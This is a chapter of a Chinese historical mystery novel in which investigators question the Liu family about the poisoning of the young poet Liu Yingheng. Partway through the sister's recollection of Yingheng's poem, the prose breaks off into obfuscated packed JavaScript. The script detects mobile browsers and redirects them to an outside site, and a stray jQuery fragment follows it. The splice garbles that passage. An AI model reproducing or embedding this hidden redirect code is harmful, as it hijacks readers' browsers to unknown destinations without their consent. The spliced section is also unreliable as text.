四人随着柳世昌和柳眀璋进了柳府内院,前往柳映蘅的小院。
途径一座八角凉亭。柳世昌向他们介绍道:“小女个性活泼,读书时不喜宅在书房里,因此平日里大都是在这凉亭中上课。”
四人停步,观察起了这凉亭,这凉亭四面通风,一旁栽着棵柳树,附近还有一个小湖。在夏日里,倒是个难得的好去处。
晏星垂打量四周,一阵微风吹来,她抬手轻抚过那棵摇曳着枝条的柳树。
之后四人又跟着柳世昌前往柳映蘅的房间。
路上,沈知微问柳世昌道:“柳老爷,不知二小姐身边的贴身仆从一会可能让我们见见?”
在这样的深宅里,和柳映蘅相伴最久的定是她的贴身仆人,想要清楚知晓柳映蘅毒发时的情况,他们得向那些仆人问话。
柳世昌答道:“不瞒沈公子,小女亡故,结案后,那些仆从就被我发卖出去了。他们领着柳府的俸禄,却没有照顾好小女,实在可恨。”
四人相互对视一眼,此案毕竟已过了一月,一些相关的线索已模糊难寻。
他们来之前有想过能够得到的新线索不会多,却没想到现在情况比预料的还糟。
他们进了柳映蘅的房间,得了柳世昌的允许后,分头开始翻看起来。
晏星垂走向柳映蘅的桌案,上面摆了许多诗集,她拿起一本,上面写了很多批注,一旁整齐的堆叠了一沓纸。
她拿起来看,只见上面都是一些写好了的诗,著名是柳映蘅。
柳世昌见她看诗,走过来自谦道:“映蘅喜好诗词,这些是她留下的一些拙作。”
沈知微走过来看了几眼赞叹道:“柳老爷自谦了,二小姐不过十三,就能写出如此诗作,真是令人惊叹。”
柳眀璋面露不屑:“不过是个女儿家,早晚要嫁出去的,诗写的好又有什么用。”
柳世昌喝道:“明璋。”
柳眀璋扭过头去。
几人检查完柳映蘅的房间,并未发现什么线索。
裴照野向柳世昌请求道:“柳老爷,我们有些问题想问贵府的大小姐,不知可能一见?”
柳世昌面露难色:“这,我家映兰还未出阁,不太方便见外男。”
程韫玉上前道:“我知先生心中顾虑,不如让我和星垂去见大小姐?”
柳世昌见是两个姑娘,便答应了,抬手召来一个丫鬟,让她领着二人过去。
晏星垂和程韫玉进了柳映兰的小院,见到了柳映兰,她端庄的坐在屋中的椅子上。
领着她们过来的丫鬟,走上前对着柳映兰耳语了几句。
柳映兰轻轻点头,那丫鬟便退了出去。
柳映兰看向她们二人:“你们是为了映蘅的案子来的?”
晏星垂和程韫玉向她作揖行礼:“见过柳小姐,我们正是为此而来。”
柳映兰:“你们有什么想知道的就问吧。”
晏星垂和程韫玉对视了一眼。
他们四人来之前进行过讨论。
裴照野擅于讯问,但是在规矩繁多的柳府他不一定能顺利见到柳映兰,因此他们早已提前想好了要如何对柳映兰发问。
晏星垂道:“我们想知道二小姐平日里都喜欢做些什么?”
柳映兰便道:“映蘅性子活泼,但是平日里爹娘极少准许我们二人出门游玩,闲暇里她就喜欢来寻我,陪我做些针线女工。”
“后来映蘅十岁时,家里给她请了夫子启蒙,她学得极好,尤擅诗词,空闲时,便不怎么来找我,而是多在自己房里琢磨诗集。”
程韫玉道:“那您和二小姐相处的如何?我听闻案发前您还给二小姐送了一个香囊。”
“我与她是亲姐妹,关系自然亲厚。映蘅亡故的前一日,我确实给她送了一个我亲手做的香囊。”
柳映兰说着,反应过来:“你们是怀疑我害了映蘅?!”
晏星垂解释道:“我们只是需要把这些线索都理清楚,并非针对您。”
柳映兰定定的看着她们,而后垂下眼沉默了一会,又屏退房里的丫鬟。
“你们重查此案,是因为你们怀疑宋夫子并不是杀害了映蘅的凶手吧?”
程韫玉看着她:“柳小姐会这么说,莫不是心里也有所怀疑?”
柳映兰沉默着,然后缓缓开口:“我在映蘅上课时,见过这位宋夫子。”
“她才思敏捷,博闻广记,给映蘅上课时引经据典,循循善诱,我只是旁听了一会,却觉受益匪浅。”
“我其实并不觉得她会做出杀害映蘅的事。”
“但是那天,她走后没多久,映蘅就中毒身亡了,仵作在她送的糕点上查出了毒,证据确凿,由不得我不信。”
晏星垂观她态度忽然开口发问道:“我听闻府上只给映蘅小姐请了夫子?您并未启蒙读书?”
柳映兰点头应是。
“您与映蘅小姐一母同胞,但府中只为她请了夫子启蒙读书,而今映蘅小姐才华横溢,在诗词一道天赋惊人,您难道不嫉妒吗?”
晏星垂此话问的极为失礼,但非常之时,行非常之事。想要撬动柳映兰的口,问出线索,就只能下猛药。
柳映兰果然恼怒:“你竟敢如此揣测我!”
“我对映蘅绝无此等龌蹉之心!”
晏星垂又追问道:“既然小姐待映蘅小姐如此亲厚,您难道不想查清毒害了映蘅小姐的真正凶手吗?”
柳映兰怒道:“我怎会不想!”
晏星垂向程韫玉使了个眼色。
程韫玉便上前安抚道:“柳小姐,听您所言,想来您定与映蘅小姐关系极好。”
“我们今日来此,就是发现映蘅小姐被杀一事,疑点重重,想要为映蘅小姐查清真相。”
“映蘅小姐聪明可爱,却无辜被害,实在可怜可叹。若您知道内情,还请您告知于我们。”
晏星垂和程韫玉打着配合,一人唱红脸,一人唱白脸。果不其然,柳映兰的神情缓和下来。
她静默了一会开始讲述:“我们家是这几年才在扬州城里立稳跟脚的。之前家里只为我兄长请了夫子。”
“后来映蘅十岁时,家里有能力了,便也给她请了夫子。”
“我那时已经十三岁,家里正忙着带我相看人家,故没有给我请夫子,只在闲暇时,去旁听宋夫子给映蘅上课。”
晏星垂有些奇怪,问道:“那时您才十三岁,为何如此着急相看人家?”
柳映兰苦笑道:“柳家是商人之家,又才发迹,这扬州城中有名有姓的人家是不愿意与我们结交的。”
“若不早点相看,等及笄后,年岁大了,就更没有愿意与我们家结亲得了。”
晏星垂有些不解:“若是没有遇到合适的郎君,待在家中,不也很好吗?”
柳映兰只是苦笑,并不言语。
程韫玉明白过来,朝晏星垂轻摇了摇头。
晏星垂也意识到失言,她此前从未下过无为山,她的师父沐长风又是这天地间一等一的逍遥人,并不讲究世俗的那些规矩。
这世间对女子的不易,她今日在柳映兰的身上,方才窥见了几分。
“对不起,柳小姐,是我失言了。”
柳映兰摇了摇头。
三人一时静默。
好在柳映兰很快又继续讲述:“对于映蘅的天赋,我是羡慕的,有时也会想若我能够早点读书,是不是也能有这样的才华。”
“我羡慕映蘅,但却不嫉妒她。”
“映蘅如今也已十三岁,我听娘说,她已经在物色扬州城合适的人家。映蘅的诗写得好,说不定会有清贵人家欣赏她。”
“可我听映蘅和我提起过,她并不想嫁人。”
“她私下里拜托宋夫子给她取了小字,叫知野,说她想出门去见识见识这天地的广阔。”
“但我知道,家里是不会允许她这么做的。”
柳映兰回忆着,记忆中的柳映蘅是如此鲜活。
“阿姐,我见诗中的山河波澜是如此壮阔,我以后也想去见见。”
“阿姐,这是我给你写的诗,你看我写的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323220|183188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好不好。”
“阿姐,我拜托宋夫子给我取了小字,叫知野,好听吗?宋夫子说她希望我能够自由自在,去见我想见的一切。”
她心里虽然知道不可能,但却仍然盼望着柳映蘅能够向她说的一样,走出这座柳府,去见她想见的山川湖海,天地广阔。
对于柳映兰来说,柳映蘅就像是她遥不可及的梦,她触摸不到,却仍然希望柳映蘅能够得偿所愿。
可柳映蘅死了,她们的梦都碎了。
夏日里,日光总是很明亮,有阳光透过窗子进入这间小屋,洒在地上。
柳映兰端坐着,那明亮的光却在她的脚边停住了,落不到她身上。
她的脸上很是平静,泪珠却不断从她的眼眶中滚落,落在地上,碎了,只留下一点深色的痕迹。
她讲述完,拿着帕子擦干净泪:“我失礼了,还请二位见谅。”
晏星垂和程韫玉赶忙开口:“无妨,是我们触及您的伤心事了。”
柳映兰擦完泪,看着她们:“你们有什么想问的就问吧,我定知无不言,但是你们要保证,一定要抓到害死了映蘅的凶手。”
晏星垂和程韫玉作揖道:“我们一定竭尽全力,找到杀害映蘅小姐的凶手。”
两人向柳映兰询问起来。
晏星垂:“柳小姐,在您看来,这府上关系和映蘅小姐最亲近之人是谁?最讨厌映蘅小姐的又是谁?”
“映蘅自是与我最为亲近。她性子活泼讨喜,府中应无人会讨厌于她。”
“那你们兄妹三人的感情如何?”
柳映兰:“兄长比我们大了很多岁,幼时就玩不到一处去。长大后,也不怎么亲近。”
柳映兰说着有些犹豫。
程韫玉道:“柳小姐可是有什么不便之处?”
柳映兰便道:“兄长对于映蘅读书的事,其实并不赞同,他觉得女子读书无用,让映蘅读书反倒浪费钱财。”
然后又赶忙解释道:“但兄长对映蘅绝不讨厌,他有时出门游玩,还会为我们带些小玩意。”
晏星垂又问:“那柳老爷和柳夫人对映蘅小姐是什么态度?”
“爹娘从小就对我们管的很严,不怎么准许我和映蘅出门,但他们对映蘅读书一事很是鼓励,后来发现映蘅在诗词上的天赋,也很高兴。”
“我听闻你们府上还有一位白姨娘?”
柳映兰答是,又道:“但我们二人并不怎么与她来往。”
程韫玉问道:“案发前一日,您给映蘅小姐送了香囊,那时您可见过她?”
“见过的,我那日亲自去了她房里,送给她的。”
“她那时可有什么不对?”
柳映兰便答:“我那天见她,和她说话时,她总是发愣,我问她可是生病了,她只说是没休息好。”
柳映兰又道:“我后来要走时,她拉住了我,我问她怎么了,她却很是犹豫,最后只说明日上完课后,她要来寻我,有事要和我商量。”
“第二日我在房里等她来寻,却只听闻她中毒身亡的噩耗。”
晏星垂问:“您没怀疑过这件事和映蘅小姐被害有关吗?”
“我当然怀疑过,我立即就去寻了父亲,将这件事告诉了他,父亲只说他会处理的。”
程韫玉道:“柳老爷说结案后,他就把照顾映蘅小姐的仆从都发卖了。”
“是的,但有一个映蘅的贴身丫鬟,映蘅生前很喜欢她,因此我求娘,让娘做主把她留了下来。”
晏星垂和程韫玉都是一喜。
晏星垂道:“可以让我们见见她吗?”
柳映兰点头答应,喊了一个丫鬟进来,让她把人带过来。
很快,一个小丫鬟就进来了。向她们行完礼后,有些不安的看着她们。
柳映兰道:“小寒,这两位是为了查映蘅的案子来的,有些话要问你。”
晏星垂和程韫玉还没开口,就见小寒猛地跪伏下去:“两位大人,映蘅小姐一定是被白姨娘给害了,求求你们,一定要查清她被害的真相啊!”